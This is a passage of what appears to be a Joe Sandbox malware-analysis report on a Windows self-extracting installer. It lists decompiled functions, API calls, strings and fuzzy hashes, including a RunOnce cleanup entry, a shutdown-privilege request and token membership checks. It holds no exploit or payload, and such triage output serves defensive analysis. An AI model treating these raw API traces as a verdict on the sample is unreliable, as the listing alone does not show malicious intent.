Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: c5caff1b72f8114f05814d15e19adbb0f29312d4c301d1d6ae4ec4662e81cd49
Instruction ID: 816093a3c0ebac7766f9913b1e215c2f014856722112d4df5da755589a4cbb17
Opcode Fuzzy Hash: c5caff1b72f8114f05814d15e19adbb0f29312d4c301d1d6ae4ec4662e81cd49
Instruction Fuzzy Hash: A301B531610201ABDB149F69FC09BA27B59FB86729F148625F93A9B1F0CFB0DC61CB51

Function 002A658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(002A8B3E,002A8B3F,00000001,002A8B3E,-00000003,?,002A60EC,002A1140,?), ref: 002A65BA

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: f11d67b7042b2f7366ba49dbfd48fbbd49ee7eb45692d0dd1366419c3a14f78c
Instruction ID: 6213cb6e947f60be5c0b9f0bd2496cf12af12e5271f61eedd5a5b010108147f7
Opcode Fuzzy Hash: f11d67b7042b2f7366ba49dbfd48fbbd49ee7eb45692d0dd1366419c3a14f78c
Instruction Fuzzy Hash: A8F07832A142519FD3314909988CB66BFCE9B87310F6C016AE8DAC3205CFA58C1186A0

Function 002A621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 002A623F

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Part of subcall function 002A6285: GetLastError.KERNEL32(002A5BBC), ref: 002A6285

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 1fa10dec8d491ad5b0a90a1b49d7b579da3b1d06df2c306754452fd038c5b182
Instruction ID: 938d04fa4194cfea331d72fb450bd48b431f0484a16f50f264e120c9f6d5d398
Opcode Fuzzy Hash: 1fa10dec8d491ad5b0a90a1b49d7b579da3b1d06df2c306754452fd038c5b182
Instruction Fuzzy Hash: 4DF0E970710208ABD750EF749D0AFBF73BCDB55300F40046AB989D6081DF749D648A90

Function 002A66AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,002A4777,?,002A4E38,?), ref: 002A66B1

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 90f0eaca7c2fb2fb60f25b2c434abac5c5039947ee37cc9caf5aec917e7bdb5a
Instruction ID: 91becad0129dd3869534b7f93559d35f1774ff4d01fb87a94bbe596d30fbcacc
Opcode Fuzzy Hash: 90f0eaca7c2fb2fb60f25b2c434abac5c5039947ee37cc9caf5aec917e7bdb5a
Instruction Fuzzy Hash: 5AB09276272842836A600A317C2D6562845AAC2B3A7E81B90F132C01E0CF3EC856D004

Function 002A4B60 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(DE493D6B,00000000,00000000,?,002A4FA1,00000000), ref: 002A4B98

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c85ce17253110d7bce82bfcd14fafec81116c5de43bfde05a88519302d1bc1e3
Instruction ID: e2e7e4af8d76fc595b9dd5030e03b1cdd5a3cafb1a5ee6b062726adad8d35da7
Opcode Fuzzy Hash: c85ce17253110d7bce82bfcd14fafec81116c5de43bfde05a88519302d1bc1e3
Instruction Fuzzy Hash: 39F0DA31920F08DF47619E399800B52BEE4AAD7360310093AD46ED2190EF70A451CAA0

Function 002A4CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 002A4CAA

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 1409546d916e4ada9d148327fa7896e0f026c8160c7138f0f2ce6603ba9de114
Instruction ID: 602ccb6fb9ce86f423f5d1e322b21df1d97d00d399339a6de55bfceb422ad44c
Opcode Fuzzy Hash: 1409546d916e4ada9d148327fa7896e0f026c8160c7138f0f2ce6603ba9de114
Instruction Fuzzy Hash: 27B09232044208B7CB401A82A809B853F19EB89661F140000F60C450508A6294108696

Function 002A4CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 002A4CC8

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: a1c5752166c9999d4b363cf9ae5684e1446d587bbefde1d0385a22bc1cfd3d72
Instruction ID: 3fea41e4bf48baa47b5559ff748a417006bb9d694c171a1e52656b18a1331d07
Opcode Fuzzy Hash: a1c5752166c9999d4b363cf9ae5684e1446d587bbefde1d0385a22bc1cfd3d72
Instruction Fuzzy Hash: CBB0123100010CB78F001B52FC0C8453F1DDAC52607000010F50C410218F339811C585

Non-executed Functions

Function 002A5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 002A5CEE
GetModuleFileNameA.KERNEL32(002A8B3E,00000104,00000000,?,?), ref: 002A5DFC
CharUpperA.USER32(?), ref: 002A5E3E
CharUpperA.USER32(-00000052), ref: 002A5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 002A5F6F
CharUpperA.USER32(?), ref: 002A5FA7
CharUpperA.USER32(-0000004E), ref: 002A6008
CharUpperA.USER32(?), ref: 002A60AA
CloseHandle.KERNEL32(00000000,002A1140,00000000,00000040,00000000), ref: 002A61F1
ExitProcess.KERNEL32 ref: 002A61F8

Strings

:, xrefs: 002A6118
", xrefs: 002A612D
RegServer, xrefs: 002A5F66
", xrefs: 002A5D78

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 1875c6ce4224f84108f1cd0bc2a2e6122fb5d2c9f3662d47895a625bfbe684b6
Instruction ID: 3e7ccf7c06f74430d4841803bf9f0285a506807a17ca54147878ce3cf4b3b5fd
Opcode Fuzzy Hash: 1875c6ce4224f84108f1cd0bc2a2e6122fb5d2c9f3662d47895a625bfbe684b6
Instruction Fuzzy Hash: 20D13971A34A665FDB358E389C4C7BB7B65AB17300F1800AAD486D6591DFB48EE68F00

Function 002A1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 002A1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 002A1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 002A1FD3

Strings

SeShutdownPrivilege, xrefs: 002A1F28

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 2d9001283fe227e9d45b43370f84e66e26b71fd5461ef91f81845d7b0db5f3d5
Instruction ID: 594337765b3ae804d241f86a707a73f41ae05f21563431bda6259a365069f89c
Opcode Fuzzy Hash: 2d9001283fe227e9d45b43370f84e66e26b71fd5461ef91f81845d7b0db5f3d5
Instruction Fuzzy Hash: 20219171B503467BDB205BA1AC4EFBB76B8EB87B21F200019FA06E6581DF748831D661

Function 002A6CF0 Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,002A6E26,002A1000), ref: 002A6CF7
UnhandledExceptionFilter.KERNEL32(?,?,002A6E26,002A1000), ref: 002A6D00
GetCurrentProcess.KERNEL32(C0000409,?,002A6E26,002A1000), ref: 002A6D0B
TerminateProcess.KERNEL32(00000000,?,002A6E26,002A1000), ref: 002A6D12

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: c12f80b9d0c2c1af567d270f13d6a60d85985ed3652d3de4d080846a1d5b57b1
Instruction ID: 9b3827b76a550dcebead7e756b57467b49a7ac7e8ef5f96724d2d408fbd5231c
Opcode Fuzzy Hash: c12f80b9d0c2c1af567d270f13d6a60d85985ed3652d3de4d080846a1d5b57b1
Instruction Fuzzy Hash: 73D0CA32000208FBEB412BE1FC0CA693F28FF8A222F484000F31E82020CF328852CB62

Function 002A3210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,002A8598,00000200), ref: 002A3271
GetDesktopWindow.USER32 ref: 002A33E2
SetWindowTextA.USER32(?,valid), ref: 002A33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 002A3410
GetDlgItem.USER32(?,00000836), ref: 002A3426
EnableWindow.USER32(00000000), ref: 002A342D
EndDialog.USER32(?,00000000), ref: 002A343F

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A32E2, 002A32E7, 002A3331, 002A3344, 002A335B, 002A336A
valid, xrefs: 002A33F1

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$valid
API String ID: 2418873061-1109604790
Opcode ID: 6007f801266f5739215e41fb392f566670bd05f4881aac20d6214ce8e4b38ff4
Instruction ID: 59070bcbd2db2bc97a2d223de6600fb6692c84b43f89de0af2a459e1d4df901a
Opcode Fuzzy Hash: 6007f801266f5739215e41fb392f566670bd05f4881aac20d6214ce8e4b38ff4
Instruction Fuzzy Hash: 50512630374242BBEB21DF356C4DF7B6A5D9B8BB54F104068F609961C1CFE48E62D6A1

Function 002A34F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 002A3535
EndDialog.USER32(?,?), ref: 002A3541
ResetEvent.KERNEL32 ref: 002A355F
SetEvent.KERNEL32(002A1140,00000000,00000020,00000004), ref: 002A3590
GetDesktopWindow.USER32 ref: 002A35C7
GetDlgItem.USER32(?,0000083B), ref: 002A35F1
SendMessageA.USER32(00000000), ref: 002A35F8
GetDlgItem.USER32(?,0000083B), ref: 002A3610
SendMessageA.USER32(00000000), ref: 002A3617
SetWindowTextA.USER32(?,valid), ref: 002A3623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,002A8798), ref: 002A3637
EndDialog.USER32(?,00000000), ref: 002A3671

Strings

valid, xrefs: 002A361D

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: valid
API String ID: 2406144884-2349282815
Opcode ID: d22690f5b3807b036d205ca7f4967d37dbaf2402283f336c1b436eb5e2b993a5
Instruction ID: 7d04a425aac1ae683055f083d1529a36e941ce2d8ba57d2c2b2ff6d275b15368
Opcode Fuzzy Hash: d22690f5b3807b036d205ca7f4967d37dbaf2402283f336c1b436eb5e2b993a5
Instruction Fuzzy Hash: 6431C575660301BBD7609F29FC4DE6A3B68EB8BF01F504529FA06952A0CFB18920DF55

Function 002A4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 002A4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 002A424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 002A4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 002A427A
GetTempPathA.KERNEL32(00000104,002A88C0,?,00000001), ref: 002A429F
CharPrevA.USER32(002A88C0,00551181,?,00000001), ref: 002A42C2
CharPrevA.USER32(002A88C0,00000000,?,00000001), ref: 002A42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 002A4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 002A43A5

Strings

SHGetPathFromIDList, xrefs: 002A4274
SHBrowseForFolder, xrefs: 002A4246
SHELL32.DLL, xrefs: 002A422F

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 0990c6a22e2e138bd74695d56ed2bb8a0c72c85086413ddc05cd80cdae7826e3
Instruction ID: c0645d4e57900dbbfee6f5a69f39d0afaa81a9695a739b4fc03e639b4867b5c0
Opcode Fuzzy Hash: 0990c6a22e2e138bd74695d56ed2bb8a0c72c85086413ddc05cd80cdae7826e3
Instruction Fuzzy Hash: 3241EAB4E10205AFDB116F64EC59A7D7B74EF87344F540169E94163251CFB9CC11CB61

Function 002A2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(6BA7D455,00000000,00000000,00000000), ref: 002A27A8
CharNextA.USER32(?), ref: 002A27B5
CharNextA.USER32(00000000), ref: 002A27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A2829
RegQueryValueExA.ADVAPI32(?,002A1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A28A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 002A28AA
GetSystemDirectoryA.KERNEL32(-00000005,00000104), ref: 002A28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 002A27E4

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 138abec599cb88f17727cdec7d477e430eccafdaff2539c7f7a5d3f0bad060bc
Instruction ID: 15561e2551f18f93b74ad1e54c474e86994e20b844ea63fbcfe280537402c124
Opcode Fuzzy Hash: 138abec599cb88f17727cdec7d477e430eccafdaff2539c7f7a5d3f0bad060bc
Instruction Fuzzy Hash: B3419371910128AFDB249F649C49AFA77BDEF17700F0440A5F549E2100DF748E99CFA1

Function 002A2267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 002A22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 002A22D8
memset.MSVCRT ref: 002A22F5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 002A2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?), ref: 002A236E
RegCloseKey.ADVAPI32(?), ref: 002A237A

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A2321
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 002A232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 002A2299
wextract_cleanup1, xrefs: 002A227C, 002A22CD, 002A2363

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-2836157002
Opcode ID: d89c89941c08c50fd8f36db5b221fecded92ef01f1d7347b343d3807d94cd584
Instruction ID: f56620284d7fd02946518c349fa890607ecb9c23651e0a3fc9e1922c5e244f69
Opcode Fuzzy Hash: d89c89941c08c50fd8f36db5b221fecded92ef01f1d7347b343d3807d94cd584
Instruction Fuzzy Hash: 9231B471A10218ABDB219B55DC49FEBBB7CEF17710F0401E9B90DA6050EF70AB98CE50

Function 002A3100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 002A313B
GetDesktopWindow.USER32 ref: 002A314B
SetDlgItemTextA.USER32(?,00000834), ref: 002A316A
SetWindowTextA.USER32(?,valid), ref: 002A3176
SetForegroundWindow.USER32(?), ref: 002A317D
GetDlgItem.USER32(?,00000834), ref: 002A3185
GetWindowLongA.USER32(00000000,000000FC), ref: 002A3190
SetWindowLongA.USER32(00000000,000000FC,002A30C0), ref: 002A31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 002A31CA

Strings

valid, xrefs: 002A3170

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: valid
API String ID: 3785188418-2349282815
Opcode ID: 90272c76f57b4493036b9f0b9e98582e40cf2765c8d3e4ac93d58a2347b61848
Instruction ID: e3b27648455a0bcd7f2882025218e224137df87a1b3f57b125c5402b0aacf30b
Opcode Fuzzy Hash: 90272c76f57b4493036b9f0b9e98582e40cf2765c8d3e4ac93d58a2347b61848
Instruction Fuzzy Hash: B211D031664212BBDB219F64FC0CBAA3AA4FF4B720F104611F91A911E0DFB48A61CB52

Function 002A18A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002A17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,002A18DD), ref: 002A181A
Part of subcall function 002A17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 002A182C
Part of subcall function 002A17EE: AllocateAndInitializeSid.ADVAPI32(002A18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,002A18DD), ref: 002A1855
Part of subcall function 002A17EE: FreeSid.ADVAPI32(?,?,?,?,002A18DD), ref: 002A1883
Part of subcall function 002A17EE: FreeLibrary.KERNEL32(00000000,?,?,?,002A18DD), ref: 002A188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 002A18EB
OpenProcessToken.ADVAPI32(00000000), ref: 002A18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 002A190A
GetLastError.KERNEL32 ref: 002A1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 002A192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 002A1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 002A1964
EqualSid.ADVAPI32(00000004,?), ref: 002A197A
FreeSid.ADVAPI32(?), ref: 002A199C
LocalFree.KERNEL32(00000000), ref: 002A19A3
CloseHandle.KERNEL32(?), ref: 002A19AD

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 28f282a99a5b33713936b36b9f1859a93463917d0275b5755d116c919d9a5b54
